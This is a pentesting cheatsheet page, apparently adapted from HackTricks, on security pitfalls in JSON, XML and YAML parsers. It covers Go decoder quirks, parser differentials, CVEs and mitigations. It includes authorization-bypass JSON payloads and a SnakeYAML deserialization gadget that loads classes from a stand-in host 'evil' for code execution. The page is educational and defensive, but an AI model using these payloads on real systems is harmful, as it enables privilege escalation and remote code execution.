daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

json-xml-yaml-hacking.md (11811B)


      1 ---
      2 title: "JSON, XML, and YAML Hacking and Issues"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/json-xml-yaml-hacking.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/json-xml-yaml-hacking.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # JSON, XML, and YAML Hacking and Issues
     14 
     15 ## Go JSON Decoder
     16 
     17 The following Go parser behaviors can create security problems when different components interpret the same input differently. They were analyzed in [this Trail of Bits post](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/), and the Go documentation explicitly records several `encoding/json` interoperability behaviors.<sup>[[1]](#references)[[4]](#references)</sup>
     18 
     19 Parser differentials and permissive application-level validation can be abused to **bypass authorization**, **escalate privileges**, or **exfiltrate sensitive data**. The risky behavior is often the composition of parsers and trust decisions, rather than memory-unsafe parsing by itself.<sup>[[1]](#references)</sup>
     20 
     21 
     22 ### (Un)Marshaling Unexpected Data
     23 
     24 The goal is to find exported struct fields that an application did not intend an attacker to set, such as `IsAdmin` or `Password`.<sup>[[1]](#references)[[4]](#references)</sup>
     25 
     26 - Example Struct:
     27 ```go
     28 type User struct {
     29     Username string `json:"username,omitempty"`
     30     Password string `json:"password,omitempty"`
     31     IsAdmin  bool   `json:"-"`
     32 }
     33 ```
     34 
     35 - Common Vulnerabilities
     36 
     37 1. **Missing tag** (no tag = field is still parsed by default):
     38 ```go
     39 type User struct {
     40     Username string
     41 }
     42 ```
     43 
     44 Payload:
     45 ```json
     46 {"Username": "admin"}
     47 ```
     48 
     49 2. **Incorrect use of `-`**:
     50 ```go
     51 type User struct {
     52     IsAdmin bool `json:"-,omitempty"` // ❌ wrong
     53 }
     54 ```
     55 
     56 Payload:
     57 ```json
     58 {"-": true}
     59 ```
     60 
     61 ✔️ Proper way to block field from being (un)marshaled:
     62 ```go
     63 type User struct {
     64     IsAdmin bool `json:"-"`
     65 }
     66 ```
     67 
     68 
     69 ### Parser Differentials
     70 
     71 The goal is to bypass authorization by exploiting how different parsers interpret the same payload. Real cases include CouchDB's duplicate-key administrator bypass, a Zoom XMPP/XML parser differential, and GitLab's 2025 SAML parser-confusion bypass.<sup>[[5]](#references)[[6]](#references)[[7]](#references)</sup>
     72 
     73 
     74 **1. Duplicate Fields (legacy `encoding/json` v1 semantics):**
     75 Go's `encoding/json` processes duplicate members in order; later scalar values replace earlier ones, while maps and structs can merge values.<sup>[[4]](#references)</sup>
     76 
     77 ```go
     78 json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
     79 fmt.Println(req.Action) // AdminAction
     80 ```
     81 
     82 Other parsers or configurations may reject duplicates, preserve the first value, or also preserve the last value. This becomes exploitable when security checks and business logic disagree about the same object.<sup>[[1]](#references)[[4]](#references)</sup>
     83 
     84 **2. Case-insensitive matching (legacy `encoding/json` v1 semantics):**
     85 Go's legacy decoder matches JSON names to struct fields case-insensitively:
     86 ```go
     87 json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
     88 // matches `Action` field
     89 ```
     90 
     91 Unicode simple-fold equivalents can also match. For example, the long-s character can collide with ASCII `s`, and the Kelvin sign can collide with ASCII `K` in field names:<sup>[[1]](#references)</sup>
     92 ```go
     93 json.Unmarshal([]byte(`{"Uſername":"admin"}`), &user)
     94 // may match the exported field Username
     95 
     96 json.Unmarshal([]byte(`{"Key":"value"}`), &record)
     97 // may match the exported field Key
     98 ```
     99 
    100 **3. Cross-service mismatch:**
    101 Imagine:
    102 - Proxy written in Go
    103 - AuthZ service written in Python
    104 
    105 Attacker sends:
    106 ```json
    107 {
    108   "action": "UserAction",
    109   "AcTiOn": "AdminAction"
    110 }
    111 ```
    112 
    113 - Python sees `UserAction`, allows it
    114 - Go sees `AdminAction`, executes it
    115 
    116 
    117 ### Data Format Confusion (Polyglots)
    118 
    119 The goal is to exploit systems that mix formats (JSON/XML/YAML) or fail open on parser errors. In **CVE-2020-16250**, Vault's AWS authentication trusted identity data obtained through a content-type/parser confusion involving AWS STS responses.<sup>[[8]](#references)</sup>
    120 
    121 Attacker controls:
    122 - The `Accept: application/json` header
    123 - Partial control of JSON body
    124 
    125 Go’s XML parser parsed it **anyway** and trusted the injected identity.
    126 
    127 - Crafted payload:
    128 ```json
    129 {
    130   "action": "Action_1",
    131   "AcTiOn": "Action_2",
    132   "ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
    133 }
    134 ```
    135 
    136 Result:
    137 - **Go JSON** parser: `Action_2` (case-insensitive + last wins)
    138 - **YAML** parser: `Action_1` (case-sensitive)
    139 - **XML** parser: parses `"Action_3"` inside the string
    140 
    141 ### Go 1.27: strict `encoding/json/v2` defaults
    142 
    143 Go 1.27 made `encoding/json/v2` and `encoding/json/jsontext` standard packages. Unlike the legacy v1 API, v2 rejects **duplicate object names** and **invalid UTF-8** by default; the existing `encoding/json` API remains compatible with v1 behavior even though its implementation is backed by v2. Therefore, fingerprint the API and options actually used by each service instead of assuming every Go 1.27 binary is strict.<sup>[[4]](#references)[[12]](#references)</sup>
    144 
    145 A duplicate-name probe that v2 rejects by default is:<sup>[[12]](#references)</sup>
    146 
    147 ```go
    148 import json "encoding/json/v2"
    149 
    150 err := json.Unmarshal([]byte(`{"role":"user","role":"admin"}`), &dst)
    151 // err != nil
    152 ```
    153 
    154 This is also a migration hazard: a gateway using v2 defaults may reject an input that a downstream service using v1 would accept, while compatibility options can deliberately restore permissive behavior. Test duplicate names, malformed UTF-8, case variants, and unknown members at **every trust boundary**.<sup>[[4]](#references)[[12]](#references)</sup>
    155 
    156 ---
    157 
    158 ## Differential Fuzzing of Parser Chains
    159 
    160 [Crossy](https://github.com/j-moeller/crossy) is the research artifact for cross-language, coverage-guided differential testing of JSON parsers. It builds parser harnesses in isolated containers, feeds the same corpus to several implementations, and reports semantic disagreements instead of looking only for crashes. This is useful when a proxy, policy engine, signature verifier, and backend do not use the same parser.<sup>[[11]](#references)</sup>
    161 
    162 ```bash
    163 git clone https://github.com/j-moeller/crossy
    164 cd crossy
    165 make
    166 make run
    167 # Inside the runner container:
    168 ./build/crossy configs/json/* -o ./output/ -- corpus \
    169   -detect_leaks=0 -artifact_prefix=./output/
    170 ```
    171 
    172 Prioritize seeds that exercise duplicate or case-colliding names, escaped and non-ASCII keys, invalid UTF-8/lone surrogates, large or exponent-form numbers, deeply nested values, and leading/trailing data. Minimize each disagreement, then replay the exact raw bytes through the real gateway and backend: reserialization before the second parser may erase the differential.<sup>[[11]](#references)</sup>
    173 
    174 ---
    175 
    176 ## Notable Parser Vulnerabilities (2023-2025)
    177 
    178 > The following publicly-exploitable issues show that insecure parsing is a multi-language problem — not just a Go problem.
    179 
    180 ### SnakeYAML Deserialization RCE (CVE-2022-1471)
    181 
    182 * Affects: `org.yaml:snakeyaml` < **2.0** (used by Spring-Boot, Jenkins, etc.).<sup>[[2]](#references)</sup>
    183 * Root cause: unsafe construction can instantiate **arbitrary Java classes**, allowing a suitable classpath or remotely supplied service-provider gadget to culminate in code execution.
    184 * Example global-tag payload (the remote URL must provide a compatible `ScriptEngine` provider for code execution):
    185 ```yaml
    186 !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
    187 ```
    188 * Fix / Mitigation:
    189   1. **Upgrade to ≥2.0** (uses `SafeLoader` by default).
    190   2. On older versions, explicitly use `new Yaml(new SafeConstructor())`. 
    191 
    192 ### libyaml Double-Free (CVE-2024-35325)
    193 
    194 * Affects: `libyaml` ≤0.2.5 (C library leveraged by many language bindings).
    195 * Issue: Calling `yaml_event_delete()` twice leads to a double-free that attackers can turn into DoS or, in some scenarios, heap exploitation.
    196 * Status: Upstream rejected as “API misuse”, but Linux distributions shipped patched **0.2.6** that null-frees the pointer defensively.<sup>[[3]](#references)</sup>
    197 
    198 ### RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
    199 
    200 * Affects: Tencent **RapidJSON** before commit `8269bc2` (<1.1.0-patch-22).
    201 * Bug: integer underflow/overflow in `GenericReader::ParseNumber()` can be triggered by crafted numeric input. The published records describe elevation-of-privilege impact in an application that opens a crafted file; do not generalize that impact to every program using RapidJSON.<sup>[[9]](#references)[[10]](#references)</sup>
    202 
    203 ---
    204 
    205 ### 🔐 Mitigations (Updated)
    206 
    207 | Risk                                | Fix / Recommendation                                      |
    208 |-------------------------------------|------------------------------------------------------------|
    209 | Unknown fields (JSON)               | `decoder.DisallowUnknownFields()`                          |
    210 | Duplicate fields (JSON)             | Prefer `encoding/json/v2` defaults on Go 1.27+; otherwise pre-scan/reject duplicates (`DisallowUnknownFields` does not reject them) |
    211 | Case-insensitive match (Go v1)      | Migrate security boundaries to `encoding/json/v2`, or validate exact keys before v1 unmarshaling |
    212 | XML shape / format confusion        | Keep `encoding/xml.Decoder.Strict` enabled, reject unexpected directives/tokens, validate the root/schema, and enforce the expected content type |
    213 | YAML unknown keys                   | `yaml.KnownFields(true)`                                   |
    214 | **Unsafe YAML deserialization**     | Use SafeConstructor / upgrade to SnakeYAML ≥2.0            |
    215 | libyaml ≤0.2.5 double-free          | Upgrade to **0.2.6** or distro-patched release            |
    216 | RapidJSON <patched commit           | Compile against latest RapidJSON (≥July 2024)              |
    217 
    218 ## See also
    219 
    220 [Mass Assignment Cwe 915](/hacktricks/pentesting-web/mass-assignment-cwe-915)
    221 
    222 See [HTTP parameter pollution and JSON key-collision payloads](/hacktricks/pentesting-web/parameter-pollution#json-injection) and [XXE/XEE](/hacktricks/pentesting-web/xxe-xee-xml-external-entity) for their format-specific attack payloads.
    223 
    224 
    225 ## References
    226 
    227 - [1] [Trail of Bits – Unexpected security footguns in Go's parsers](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/)
    228 - [2] [Baeldung – Resolving CVE-2022-1471 With SnakeYAML 2.0](https://www.baeldung.com/spring-boot-snakeyaml-2-0-cve-2022-1471-issue)
    229 - [3] [Ubuntu Security Tracker – CVE-2024-35325 (libyaml)](https://ubuntu.com/security/CVE-2024-35325)
    230 - [4] [Go documentation - `encoding/json` security considerations](https://pkg.go.dev/encoding/json#hdr-Security_Considerations)
    231 - [5] [Apache CouchDB security advisory - CVE-2017-12635](https://docs.couchdb.org/en/stable/cve/2017-12635.html)
    232 - [6] [Google Project Zero - Zooming in on Zero-click Exploits](https://googleprojectzero.blogspot.com/2022/01/zooming-in-on-zero-click-exploits.html)
    233 - [7] [GitLab security release - SAML authentication bypass](https://about.gitlab.com/releases/2025/05/14/patch-release-gitlab-18-0-1-17-11-3-17-10-7/)
    234 - [8] [HashiCorp security advisory - CVE-2020-16250](https://discuss.hashicorp.com/t/hcsec-2020-16-vault-s-aws-auth-method-allows-authentication-bypass/18101)
    235 - [9] [CVE record - CVE-2024-38517](https://www.cve.org/CVERecord?id=CVE-2024-38517)
    236 - [10] [CVE record - CVE-2024-39684](https://www.cve.org/CVERecord?id=CVE-2024-39684)
    237 - [11] [Crossy - Cross-language differential testing of JSON parsers](https://github.com/j-moeller/crossy)
    238 - [12] [Go 1.27 Release Notes - `encoding/json/v2`](https://go.dev/doc/go1.27)